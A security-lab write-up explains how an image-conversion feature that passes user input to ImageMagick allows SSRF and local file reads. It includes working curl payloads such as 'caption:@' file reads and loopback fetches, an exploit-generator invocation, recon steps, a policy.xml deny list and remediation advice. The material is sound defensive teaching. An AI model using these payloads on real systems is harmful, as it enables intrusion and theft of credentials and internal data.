Security labSSRFFile readImageMagick

The HEIC Heist

How a friendly “upload your photo, we’ll convert it” feature becomes server-side request forgery and arbitrary local file disclosure — and how modern ImageMagick changes the shape of the attack.

This write-up documents an intentionally vulnerable training lab. The live lab is access-gated. Everything here is for defensive education and authorized testing only.

1. The setup

PhotoBox is a stand-in for a very common design: a web app that accepts an image (“HEIC supported!”) and shells out to ImageMagick to convert it to PNG. It has an upload field and an “import from URL” field. The conversion is, in essence:

convert <source> /var/www/html/out/xxxx.png

The arguments are shell-escaped — there is no shell injection. The bug lives one layer deeper, inside ImageMagick.

2. The mechanism: coders, not shells

ImageMagick treats its input filename as coder:target — a mini-URL with its own scheme. When user input reaches that position, the user chooses the scheme:

InputImageMagick doesImpact
http://169.254.169.254/…server-side HTTP GET (http: coder)SSRF
caption:@/etc/passwdreads the file, renders its text into the imageLocal file read
label:@/pathsame, single-lineLocal file read

Two conditions make it exploitable: (1) user input reaches the coder/source position, and (2) a permissive policy.xml leaves those coders enabled. Ubuntu ships a locked-down policy by default; the classic mistake is loosening it “to make conversions work.”

It isn’t the shell. The same attack works through the php-imagick library binding with no shell at all. escapeshellarg() fully defends the OS shell — the payload caption:@/etc/passwd contains no shell metacharacters. The danger is entirely ImageMagick interpreting the coder prefix.

3. The exfiltration channel

A read primitive is useless if you can’t get the data back. The trick: convert’s whole job is to return an image. So you make the secret become the image — caption:@/etc/passwd renders the file’s text into the PNG the app hands you. Open it, or OCR it. The feature is its own exfil channel.

4. Recon

Fingerprint

The app echoes convert’s stderr, which leaks the engine instantly:

$ curl -s --data-urlencode 'src=/nope.jpg' $B/ | grep -A2 'convert log'
convert-im6.q16: unable to open image `/nope.jpg' … error/blob.c/OpenBlob

Enumerate enabled coders

Send each coder and classify the response (rendered image vs. policy error vs. crash) to learn what’s enabled. On the lab: http/https/label/caption/text fire; msl crashes; content-based svg/mvg are dead (see §6).

5. Exploitation

# SSRF — reach a loopback-only internal service
curl -s --data-urlencode 'src=http://127.0.0.1/internal.php' $B/

# SSRF with readback — steal an internal image service's contents
curl -s --data-urlencode 'src=http://127.0.0.1/internal_map.php' $B/   # returns the image

# Local file read (the heist)
curl -s --data-urlencode 'src=caption:@/var/www/private/app_secrets.env' $B/
# → the returned PNG contains DB_PASSWORD and the API key

Constraint worth noting: convert runs as www-data, so file read is limited to what that user can read. A root-owned 600 file does not leak. Least privilege limits the blast radius; it does not fix the bug.

The exploit generator

heic-heist-gen.py takes an attack + target, writes a payload artifact, and can fire the working payload and save the returned loot image:

./heic-heist-gen.py fileread --file /etc/passwd \
    --fire https://research.redhillsresearch.org/lab/ --user lab --password '<pw>'
# → loot.png  (the file rendered into an image, ready to OCR)

6. Why modern ImageMagick changes the attack

The original 2016 ImageTragick attack put the payload in file content sniffed as MVG/MSL/SVG — “upload a magic image, pop the server.” On a current build that is neutralised: SVG routes to an absent/blocked external delegate, MVG won’t engage, MSL segfaults. The live vector today is coder/argument injection via a feature (import-by-URL), not a booby-trapped upload. If you only test the old upload payloads, you’ll call a vulnerable pipeline safe.

7. Fixes

  1. Never let user input be the coder/source. For import-by-URL, fetch the bytes yourself (with SSRF egress controls / allow-listing), validate, then pass ImageMagick a fixed local path with an explicit coder: convert png:/tmp/in out.png.
  2. Harden policy.xml: deny HTTP, HTTPS, URL, FTP, MVG, MSL, LABEL, CAPTION, TEXT, EPHEMERAL, … and set <policy domain="path" rights="none" pattern="@*"/>. One coder per line — ImageMagick does not expand {A,B} brace-lists.
  3. Validate real content, not the extension; re-encode through a minimal safe format; prefer libvips for untrusted input.
  4. Sandbox the converter — no network egress, dropped capabilities, seccomp, a temp dir it can’t escape.
  5. Stop echoing convert stderr to users; it’s free recon.
Verify fixes by the real effect, not a proxy. A blocked request can still echo the intended output filename in an error message — grepping for that path will falsely read as “still vulnerable.” Confirm on the exfiltrated bytes (open/OCR the image, or that a real PNG is served), and confirm the policy loaded with convert -list policy.

→ Enter the lab (access-gated)